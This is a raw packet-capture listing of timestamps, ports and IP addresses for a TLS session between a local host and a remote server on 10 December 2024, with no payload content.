Dec 10, 2024 12:48:49.452939987 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.453002930 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.453010082 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.453052998 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.458830118 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.458846092 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.458903074 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.458908081 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.458954096 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.464396000 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.464412928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.464509010 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.464518070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.464611053 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.470464945 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.470482111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.470545053 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.470551968 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.470597982 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.475615978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.475634098 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.475689888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.475694895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.475754976 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.627644062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.627676964 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.627733946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.627759933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.627778053 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.627958059 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.633686066 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.633703947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.633755922 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.633771896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.633812904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.639955997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.639975071 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.640028000 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.640050888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.640093088 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.645447969 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.645466089 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.645502090 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.645508051 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.645535946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.645550013 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.651443005 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.651462078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.651508093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.651515007 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.651555061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.656488895 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.656506062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.656550884 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.656557083 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.656579971 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.656598091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.662440062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.662458897 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.662516117 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.662523031 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.662539005 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.662552118 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.668436050 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.668459892 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.668509007 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.668514967 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.668556929 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.692874908 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.820579052 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.820606947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.820664883 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.820689917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.820738077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.825759888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.825777054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.825872898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.825881004 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.825963020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.831716061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.831732035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.831813097 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.831823111 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.831899881 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.837703943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.837719917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.837807894 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.837819099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.837896109 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.842916012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.842935085 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.843029976 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.843039036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.843079090 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.849277973 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.849293947 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.849384069 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.849389076 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.849462986 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.854547977 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.854562998 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.854660988 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.854665995 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.854756117 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.860452890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.860471010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.860599041 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:49.860618114 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:49.860681057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.012749910 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.012773991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.012819052 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.012850046 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.012866020 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.012896061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.018534899 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.018548012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.018596888 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.018603086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.018642902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.023929119 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.023947001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.023999929 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.024005890 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.024043083 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.029921055 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.029934883 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.029980898 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.029985905 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.029995918 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.030025959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.035154104 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.035167933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.035356045 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.035362959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.035407066 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.041508913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.041527033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.041573048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.041578054 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.041615009 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.046885014 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.046911001 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.046950102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.046953917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.046982050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.046999931 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.052809954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.052829027 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.052881956 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.052889109 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.052932024 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.076172113 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.204984903 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.205013990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.205074072 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.205085993 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.205115080 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.205133915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.210164070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.210180044 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.210232973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.210238934 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.210280895 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.216161013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.216176033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.216217995 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.216223955 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.216265917 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.222085953 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.222100019 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.222147942 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.222151995 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.222187042 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.228152990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.228195906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.228259087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.228264093 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.228301048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.233696938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.233712912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.233750105 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.233755112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.233781099 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.233794928 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.238972902 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.238986015 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.239052057 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.239057064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.239094973 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.245357990 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.245373011 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.245419025 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.245424032 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.245464087 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.311619043 CET	49682	80	192.168.2.17	192.229.211.108
Dec 10, 2024 12:48:50.397161007 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.397187948 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.397253036 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.397273064 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.397321939 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.403086901 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.403106928 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.403146982 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.403151035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.403177023 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.403197050 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.408373117 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.408396006 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.408442974 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.408449888 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.408495903 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.414269924 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.414309978 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.414356947 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.414361954 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.414405107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.420265913 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.420296907 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.420327902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.420334101 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.420361042 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.420376062 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.425914049 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.425929070 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.425965071 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.425968885 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.425993919 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.426012039 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.431900024 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.431915998 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.431957960 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.431962013 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.431997061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.437175035 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.437189102 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.437241077 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.437246084 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.437284946 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.449723959 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.589272022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.589297056 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.589358091 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.589381933 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.589428902 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.595248938 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.595263958 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.595328093 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.595333099 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.595374107 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.600503922 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.600517988 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.600563049 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.600569010 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.600608110 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.606575012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.606590033 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.606640100 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.606646061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.606688023 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.612458944 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.612472057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.612525940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.612531900 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.612569094 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.618052959 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.618067980 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.618118048 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.618124008 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.618165970 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.624078989 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.624094009 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.624146938 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.624150991 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.624191046 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.629347086 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.629363060 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.629414082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.629420042 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.629458904 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.781399012 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.781423092 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.781478882 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.781491995 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.781521082 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.781533957 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.787440062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.787457943 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.787516117 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.787522078 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.787566900 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.792670965 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.792686939 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.792737961 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.792743921 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.792782068 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.798687935 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.798703909 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.798753977 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.798758984 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.798806906 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.804577112 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.804591894 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.804645061 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.804651022 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.804817915 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.810353041 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.810368061 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.810420990 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.810425997 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.810463905 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.816263914 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.816278934 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.816332102 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.816338062 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.816380024 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.821485043 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.821497917 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.821546078 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.821551085 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.821584940 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.821907997 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.973558903 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.973577976 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.973644018 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.973658085 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.973710060 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.979521036 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.979536057 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.979592085 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.979600906 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.979655981 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.984824896 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.984839916 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.984903097 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.984906912 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.984954119 CET	49729	443	192.168.2.17	47.254.218.16
Dec 10, 2024 12:48:50.990822077 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.990834951 CET	443	49729	47.254.218.16	192.168.2.17
Dec 10, 2024 12:48:50.990905046 CET	49729	443	192.168.2.17	47.254.218.16
